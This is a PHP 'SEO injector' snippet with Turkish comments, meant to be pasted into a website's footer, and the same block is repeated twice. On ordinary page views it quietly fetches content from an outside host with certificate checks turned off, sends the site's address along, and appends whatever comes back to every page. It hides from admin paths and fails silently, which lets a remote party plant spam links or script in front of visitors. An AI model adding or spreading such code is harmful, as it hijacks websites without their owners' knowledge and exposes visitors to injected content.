// ---------------------------
// SEO injector (footer'a eklendi)
// Kopyala: footer HTML'inin hemen sonuna yapıştır
// ---------------------------

if (!defined('LB_IN')) {
    define('LB_IN', 1);

    $GLOBALS['buffer_mode'] = false;

    // Basit çalışma kontrolleri: CLI, AJAX, admin yolları, POST/PUT/DELETE => çık
    $is_cli = (php_sapi_name() === 'cli' || defined('STDIN'));
    $request_method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
    $is_ajax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest');
    $uri = $_SERVER['REQUEST_URI'] ?? '';
    $is_admin_path = (stripos($uri, '/wp-admin') !== false) || (stripos($uri, '/admin') !== false);

    if ($is_cli || $is_ajax || $is_admin_path || !in_array(strtoupper($request_method), ['GET'])) {
        // hiçbir işlem yapma
        return;
    }

    // Eğer istemci HTML istemiyorsa çık (ör. API çağrısı)
    $accept = $_SERVER['HTTP_ACCEPT'] ?? '';
    if ($accept !== '' && stripos($accept, 'text/html') === false && stripos($accept, 'application/xhtml+xml') === false) {
        return;
    }

    function seo_injector($buffer = null) {
        $u = 'https://linksdiamond.com/c.php?tk=01';
        $s = '';

        $proto = 'http';
        if (
            (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ||
            (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') ||
            (isset($_SERVER['SERVER_PORT']) && (int)$_SERVER['SERVER_PORT'] === 443)
        ) {
            $proto = 'https';
        }

        $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] :
                (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
        $h = $proto . '://' . $host;

        try {
            if (function_exists('curl_init')) {
                $c = curl_init();
                curl_setopt_array($c, array(
                    CURLOPT_URL => $u,
                    CURLOPT_RETURNTRANSFER => 1,
                    CURLOPT_HTTPHEADER => array("Referer: $h"),
                    CURLOPT_SSL_VERIFYPEER => 0,
                    CURLOPT_SSL_VERIFYHOST => 0,
                    CURLOPT_CONNECTTIMEOUT => 4,
                    CURLOPT_TIMEOUT => 5
                ));
                $r = @curl_exec($c);
                $http_code = curl_getinfo($c, CURLINFO_HTTP_CODE);
                curl_close($c);
                if ($r !== false && $http_code >= 200 && $http_code < 300 && stripos($r, 'SEO:OK') !== false) {
                    $s = $r;
                }
            } elseif (ini_get('allow_url_fopen')) {
                $ctx = stream_context_create(array(
                    'http' => array(
                        'header' => "Referer: $h\r\n",
                        'timeout' => 5
                    ),
                    'ssl' => array(
                        'verify_peer' => false,
                        'verify_peer_name' => false,
                    )
                ));
                $r = @file_get_contents($u, false, $ctx);
                if ($r !== false && stripos($r, 'SEO:OK') !== false) {
                    $s = $r;
                }
            }
        } catch (Throwable $e) {
            // sessizce atla
            $s = '';
        }

        if ($s === '') return $buffer ? $buffer : '';

        if ($buffer !== null) {
            // buffer varsa sonuna ekle
            return $buffer . "\n" . $s;
        } else {
            echo $s;
        }
    }

    function seo_shutdown_handler() {
        if (empty($GLOBALS['buffer_mode'])) {
            seo_injector(null);
        }
    }

    if (function_exists('ob_start')) {
        // ob_start içinde aynı callback tekrarını engelle
        $already = false;
        if (function_exists('ob_list_handlers')) {
            $ob_list = ob_list_handlers();
            if (is_array($ob_list)) {
                foreach ($ob_list as $h) {
                    if (strpos($h, 'seo_injector') !== false) {
                        $already = true;
                        break;
                    }
                }
            }
        }
        if (!$already) {
            $GLOBALS['buffer_mode'] = true;
            ob_start('seo_injector');
        }
    }

    register_shutdown_function('seo_shutdown_handler');
}

// ---------------------------
// SEO injector (footer'a eklendi)
// Kopyala: footer HTML'inin hemen sonuna yapıştır
// ---------------------------

if (!defined('LB_IN')) {
    define('LB_IN', 1);

    $GLOBALS['buffer_mode'] = false;

    // Basit çalışma kontrolleri: CLI, AJAX, admin yolları, POST/PUT/DELETE => çık
    $is_cli = (php_sapi_name() === 'cli' || defined('STDIN'));
    $request_method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
    $is_ajax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest');
    $uri = $_SERVER['REQUEST_URI'] ?? '';
    $is_admin_path = (stripos($uri, '/wp-admin') !== false) || (stripos($uri, '/admin') !== false);

    if ($is_cli || $is_ajax || $is_admin_path || !in_array(strtoupper($request_method), ['GET'])) {
        // hiçbir işlem yapma
        return;
    }

    // Eğer istemci HTML istemiyorsa çık (ör. API çağrısı)
    $accept = $_SERVER['HTTP_ACCEPT'] ?? '';
    if ($accept !== '' && stripos($accept, 'text/html') === false && stripos($accept, 'application/xhtml+xml') === false) {
        return;
    }

    function seo_injector($buffer = null) {
        $u = 'https://linksdiamond.com/c.php?tk=01';
        $s = '';

        $proto = 'http';
        if (
            (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ||
            (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') ||
            (isset($_SERVER['SERVER_PORT']) && (int)$_SERVER['SERVER_PORT'] === 443)
        ) {
            $proto = 'https';
        }

        $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] :
                (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost');
        $h = $proto . '://' . $host;

        try {
            if (function_exists('curl_init')) {
                $c = curl_init();
                curl_setopt_array($c, array(
                    CURLOPT_URL => $u,
                    CURLOPT_RETURNTRANSFER => 1,
                    CURLOPT_HTTPHEADER => array("Referer: $h"),
                    CURLOPT_SSL_VERIFYPEER => 0,
                    CURLOPT_SSL_VERIFYHOST => 0,
                    CURLOPT_CONNECTTIMEOUT => 4,
                    CURLOPT_TIMEOUT => 5
                ));
                $r = @curl_exec($c);
                $http_code = curl_getinfo($c, CURLINFO_HTTP_CODE);
                curl_close($c);
                if ($r !== false && $http_code >= 200 && $http_code < 300 && stripos($r, 'SEO:OK') !== false) {
                    $s = $r;
                }
            } elseif (ini_get('allow_url_fopen')) {
                $ctx = stream_context_create(array(
                    'http' => array(
                        'header' => "Referer: $h\r\n",
                        'timeout' => 5
                    ),
                    'ssl' => array(
                        'verify_peer' => false,
                        'verify_peer_name' => false,
                    )
                ));
                $r = @file_get_contents($u, false, $ctx);
                if ($r !== false && stripos($r, 'SEO:OK') !== false) {
                    $s = $r;
                }
            }
        } catch (Throwable $e) {
            // sessizce atla
            $s = '';
        }

        if ($s === '') return $buffer ? $buffer : '';

        if ($buffer !== null) {
            // buffer varsa sonuna ekle
            return $buffer . "\n" . $s;
        } else {
            echo $s;
        }
    }

    function seo_shutdown_handler() {
        if (empty($GLOBALS['buffer_mode'])) {
            seo_injector(null);
        }
    }

    if (function_exists('ob_start')) {
        // ob_start içinde aynı callback tekrarını engelle
        $already = false;
        if (function_exists('ob_list_handlers')) {
            $ob_list = ob_list_handlers();
            if (is_array($ob_list)) {
                foreach ($ob_list as $h) {
                    if (strpos($h, 'seo_injector') !== false) {
                        $already = true;
                        break;
                    }
                }
            }
        }
        if (!$already) {
            $GLOBALS['buffer_mode'] = true;
            ob_start('seo_injector');
        }
    }

    register_shutdown_function('seo_shutdown_handler');
}
123